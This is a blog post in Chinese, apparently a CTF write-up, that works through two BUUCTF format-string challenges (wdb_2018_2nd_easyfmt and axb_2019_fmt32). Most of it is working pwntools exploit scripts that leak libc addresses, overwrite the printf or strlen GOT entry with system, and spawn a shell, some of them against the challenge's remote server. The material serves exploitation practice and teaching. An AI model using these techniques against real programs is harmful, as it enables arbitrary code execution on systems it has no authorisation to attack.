zoukankan      html  css  js  c++  java
  • 星盟 | 栈上格式化字符串漏洞利用

    wdb_2018_2nd_easyfmt | buuctf

    查看保护可以知道GOT表可写,只开了NX保护,主体函数是循环函数,那么可以通过泄露地址,将printf(&buf);覆写为system("/bin/sh");

    但是程序中本身没有调用system,所以要在libc中找system,所以第一步是泄露地址,模拟输入,泄露栈数据(与libc有关的)

    printf与system的地址有2.5字节不同

    # 本地
    from pwn import *
    context.log_level = "debug"
    #context.terminal = ['tmux','splitw','-h']
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    #p = remote("node4.buuoj.cn",26170)
    p = process("wdb_2018_2nd_easyfmt")
    
    elf = ELF('./wdb_2018_2nd_easyfmt')
    
     
    libc = ELF("./lib32.so")
    
    printf_got = elf.got['printf']
    
    success("printf_got => {} ".format(hex(printf_got)))
    def myp32(input):
        return p32(input).decode("iso-8859-1")
    
    
    #gdb.attach(p,"b*printf")
    
    p.recvuntil("Do you know repeater?
    ")
    p.sendline("%3$p")
    libc_base = int(p.recv(10),16) -  0x9079b 
    system_addr = libc_base + 0x3adb0
    
    
    
    success("libc_base => {} ".format(hex(libc_base)))
    success("system_addr => {} ".format(hex(system_addr)))
    
    
    '''
    system_low = system_addr&0xffffS
    system_high = (system_addr>>16)&0xffff
    payload = myp32(printf_got) +myp32(printf_got+2)  
    payload += "%"+str(system_low-8)+'c%6$hn'
    payload += "%"+str(system_high-system_low)+'c%7$hn'
    '''
    payload = fmtstr_payload(6,{printf_got:system_addr},write_size = 'short')
    p.send(payload)
    #pause()
    #sleep(0.2)
    pause()
    p.send('/bin/shx00')
    #p.recvall()
    pause()
    p.interactive()
    
    
    

    axb_2019_fmt32 | buuctf

    跟上题的保护机制一样,IDA源码如下,对于循环有输入的时间限制,可以选择泄露libc基地址

    在printf处下断点,可以看到输入相对于格式化字符串的偏移为8,并且还没对齐,对其需要一个字符。

    #本地
    
    from pwn import *
    
    context(os='linux',arch='i386',log_level='debug')
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    
    r = process("./axb_2019_fmt32")
    #r = remote("node4.buuoj.cn","27205")
    elf=ELF("./axb_2019_fmt32")
    libc = ELF("./libc-2.23 .so")
    printf_got = elf.got['printf']
    
    def myp32(input):
        return p32(input).decode("iso-8859-1")
    
    #gdb.attach(r,"b *printf")
    
    payload = 'a' + myp32(printf_got) +'22'+ '%8$s'
    r.sendafter('me:', payload)
    r.recvuntil("22")
    printf_addr = u32(r.recv(4))
    print ("printf_addr:"+hex(printf_addr))
    
    #libc=LibcSearcher('printf',printf_addr)
    
    #libc_base=printf_addr-libc.dump('printf')
    #system=libc_base+libc.dump('system')
    
    libc_base=printf_addr-0x49680
    system=libc_base+ 0x3adb0
    
    success("libc_base => {} ".format(hex(libc_base)))
    success("system_addr => {} ".format(hex(system)))
    
    
    payload=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "short",numbwritten = 0xa)
    #p.recvuntil(':')
    r.sendline(payload)
    gdb.attach(r,"b *printf")
    #pause()
    r.sendline(';/bin/shx00')
    
    r.interactive()
    
    

    参考

    
    #coding:utf-8
    from pwn import *
    
    context(os='linux',arch='i386',log_level='debug')
    
    #sh = process("./axb_2019_fmt32")
    sh = remote("node4.buuoj.cn","27205")
    
    please_tell_me = 0x804887D
    printf_got = 0x804A014
    strlen_got = 0x804A024
    
    def myp32(input):
        return p32(input).decode("iso-8859-1")
    
    x = 'A' + myp32(printf_got)+ '22' + '%8$s'
    sh.sendafter("Please tell me:",x)
    
    sh.recvuntil("22")
    printf_addr = u32(sh.recv(4))
    print(hex(printf_addr))
    
    system_addr = printf_addr - 0xe6e0
    binsh = printf_addr + 0x11000b
    
    
    high_sys = (system_addr >> 16) & 0xffff
    low_sys = system_addr & 0xffff
    print('sys'+hex(system_addr))
    print('low'+hex(low_sys))
    print('high'+hex(high_sys))
    
    x = 'A' + myp32(strlen_got) + myp32(strlen_got+2) + '%' + str(low_sys-18) +'c%8$hn' + '%' + str(high_sys - low_sys) + 'c%9$hn'
    #x = 'A' + p32(strlen_got) + '%' + str(system_addr-14) + 'c%8$n' 
    # 用%n写入不行,程序超时而且并没有写入,之后还是正常运行
    sh.sendafter("Please tell me:",x) 
    
    
    x = ';/bin/shx00'
    sh.sendafter("Please tell me:",x)
    
    sh.interactive()
    

    远程
    from os import system
    from pwn import *
    from LibcSearcher import *
    
    context(os='linux',arch='i386',log_level='debug')
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    
    #r = process("./axb_2019_fmt32")
    r = remote("node4.buuoj.cn","27205")
    elf=ELF("./axb_2019_fmt32")
    #libc = ELF("./libc-2.23 .so")
    printf_got = elf.got['printf']
    strlen_got = 0x804A024
    def myp32(input):
        return p32(input).decode("iso-8859-1")
    
    #gdb.attach(r,"b *printf")
    
    payload = 'a' + myp32(printf_got) +'22'+ '%8$s'
    r.sendafter('me:', payload)
    r.recvuntil("22")
    printf_addr = u32(r.recv(4))
    print ("printf_addr:"+hex(printf_addr))
    
    #libc=LibcSearcher('printf',printf_addr)
    
    #libc_base=printf_addr-libc.dump('printf')
    #system=libc_base+libc.dump('system')
    
    system = printf_addr- 0xe6e0
    
    success("system_addr => {} ".format(hex(system)))
    
    
    payload=b'a'+fmtstr_payload(8,{strlen_got:system},write_size = "short",numbwritten = 0xa)
    #p.recvuntil(':')
    r.sendline(payload)
    #gdb.attach(r,"b *printf")
    #pause()
    r.sendline(';/bin/shx00')
    
    r.interactive()
    

    不太明白的是为什么要替换strlen和地址偏移(跟libc的版本有关)

    参考进行vscode调试

    还是没有找到合适的libc以及ld

    zer0_1s
  • 相关阅读:
    欧几里得方程 模幂运算 模乘运算 蒙哥马利模乘 素数测试
    HLG 1058workflow解题报告
    poj 3264Balanced Lineup解题报告
    JavaScript之HTMLCollection接口
    随记2(IE下调试Javascript)
    抽象类和接口
    JavaScript之字符串处理函数
    随记1
    多态
    自动内存管理
  • 原文地址:https://www.cnblogs.com/zuoanfengxi/p/15328405.html
Copyright © 2011-2022 走看看